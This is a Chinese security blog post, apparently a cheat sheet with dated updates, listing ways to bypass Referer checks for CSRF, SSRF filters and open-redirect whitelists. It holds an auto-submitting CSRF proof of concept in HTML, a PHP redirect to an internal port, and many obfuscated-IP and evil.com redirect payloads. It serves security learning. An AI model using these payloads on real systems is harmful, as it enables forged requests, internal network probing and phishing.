• 关于绕过域名(ip)校验的一些小知识


    这篇文章最开始只是想写一个关于绕过referer的方法,写着写着发现和ssrf以及url跳转的一些手法类似,于是把这两种也加上了

    对referer做校验一般是对csrf进行防范的手段之一,但是很多时候不经意间还会增加其他攻击的难度,如xss,jsonp劫持等等。

    这里对referer的绕过做一个小的总结:
    目标网站是:www.domain.com

    攻击者的域名是:evil.com

    1.使用子域名的方式绕过,如下:

    http://domain.evil.com/

    2.注册一个类似的域名,如下:
    http://www.evildomain.com/

    3.将域名以参数的形式接下url后面(#也可以)

    http://www.evil.com/?http://www.domain.com

    4.利用空referer

      1)利用ftp://,http://,https://,file://,javascript:,data:等伪协议进行跳转,如下

      <html>
            <body>
           <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
            </body>
          </html>

      2)添加<meta name="referrer" content="never">,poc如下

      <html>   

      <meta name="referrer" content="never">   

      <body>   

        <script>history.pushState('', '', '/')</script>     

        <form action="http://127.0.0.1/test.php">       

        <input type="submit" value="Submit request" />     

      </form>     

      <script>       document.forms[0].submit();     </script>   

      </body>

      </html>

      

      3)https跳到http时也没有referer

    5.如果受信任的网站中可以添加链接,可以在受信任的网站上添加链接,但是不支持post的csrf

    6.利用url跳转

    7.结合受信任的网站的xss漏洞进行利用

    顺便把ssrf绕过的几种方法在这里补充下:

    1.[::]   (直接在浏览器中输出是不行的,貌似和服务器端代码实现有关)          http://0/ 攻击本地  

    2.利用@    http://example.com@192.168.1.1

    3.特殊域名    http://192.168.1.1.xip.io/

    4.DNS重绑定  利用ceye平台

    5.利用Enclosed alphanumerics

    6.   127。0。0。1

    7.利用进制   八进制钱加0  十六进制钱加0x        需要补位1-》01 然后再进制转换

      1.可以是十六进制,八进制等。 115.239.210.26  >>>  16373751032 首先把这四段数字给分别转成16进制,结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x

      2.http://127.0.0.1  -》  http://0177.0.0.1/

    8.利用协议   dict://     sftp://   ldap://   goapher://

    -----------------------------------------------------2019.3.11---------------------------------------------------------------

    今天在FB上看到一种绕过ssrf控制的方法(原文在https://www.freebuf.com/vuls/196619.html)

    当服务器端仅是对内网ip做正则时(这些场景是我意淫的),可以控制url让服务器请求我们自己的网站下的某个网页,在网页下进行重定向(这也是为什么ssrf的方法措施中有一个项是禁止30X跳转)

    <?php header("location: http://[::]:22/"); ?>


    -----------------2020.2.26-----------------
    补充一个关于绕过ssrf的新姿势 https://xz.aliyun.com/t/7256
    这篇文章中还可以找到ssrf中对应 dns重定向以及302跳转 的防范手段
     

    URL跳转绕过:
    1.利用问号?

    http://www.aaa.com/acb?Url=http://evil.com?login.aaa.com

    2.利用井号#

    http://www.aaa.com/acb?Url=http://evil.com#login.aaa.com

    3.利用@

    http://www.aaa.com/acb?Url=http://aaa.com@www.evil.com

    3.利用正反斜杠

    http://www.aaa.com/acb?Url=http://evil.com/login.aaa.com

    http://www.aaa.com/acb?Url=http://evil.com\login.aaa.com  

    http://www.aaa.com/acb?Url=http://evil.comlogin.aaa.com

    http://www.aaa.com/acb?Url=http://evil.com.login.aaa.com  

    4.百名单缺陷(白名单是aaa.com)

    www.evilaaa.com       www.aaa.com.evil.com

    5.多重跳转(没试过,感觉应该不行吧)

    http://www.aaa.com/acb?Url=http://login.aaa.com/acb?url=http://login.test.com

    6.利用http://www.aaa.com.220.181.57.217.xip.io   实际上访问的是IP地址

    ------------------------------------------------------------2019.5.17------------------------

    再补充一个:Java中经常会通过java.net.URL.gethost()来获取url的域名,但是方法获取域名时在以往的jdk版本中是存在问题的

    比如说 url 是  “https://www.rebeyond.net@www.huawei.com/poc.htm”  通过该方法获取的host将是www.rebeyond.net@www.huawei.com   而浏览器访问时是www.rebeyond.net

    https://www.rebeyond.net.www.huawei.com/poc.htm    将@改为 . 也可以

    还有一个类似的情况

    https://www。evil。com%23%5cwww.baidu.com/

    http://www.evil.com#@www.baidu.com/

    --------------------------------2019.12.4-----------------

    再补充一个绕过domain白名单的(2019黑帽大会,利用unicode类字母符号 https://www.fuhaoku.net/block/Letterlike_Symbols


    https://office.live.com/start/word.aspx?h4b=dropbox&eurl=htt ps://evil.ca/c.dropbox.com/wopi_edit/document1.docx&furl=htt ps://www.dropbox.com/wopi_download/document1.docx&c4b =1

     

  • 相关阅读:
    anaconda里的python版本回退, requirements
    Django--实现分页功能,并且基于cookie实现用户定制每页的数据条数
    bootstrap 的 datetimepicker,同时有日期和时间, 且开始时间要早于结束时间
    python爬虫 mac下安装使用Fiddler
    【codeforces】【比赛题解】#960 CF Round #474 (Div. 1 + Div. 2, combined)
    【算法学习】Fhq-Treap(无旋Treap)
    【算法学习】点分治
    【codeforces】【比赛题解】#948 CF Round #470 (Div.2)
    【codeforces】【比赛题解】#950 CF Round #469 (Div. 2)
    【codeforces】【比赛题解】#931 CF Round #468 (Div. 2)
  • 原文地址:https://www.cnblogs.com/jinqi520/p/10067883.html
Copyright © 2020-2023  润新知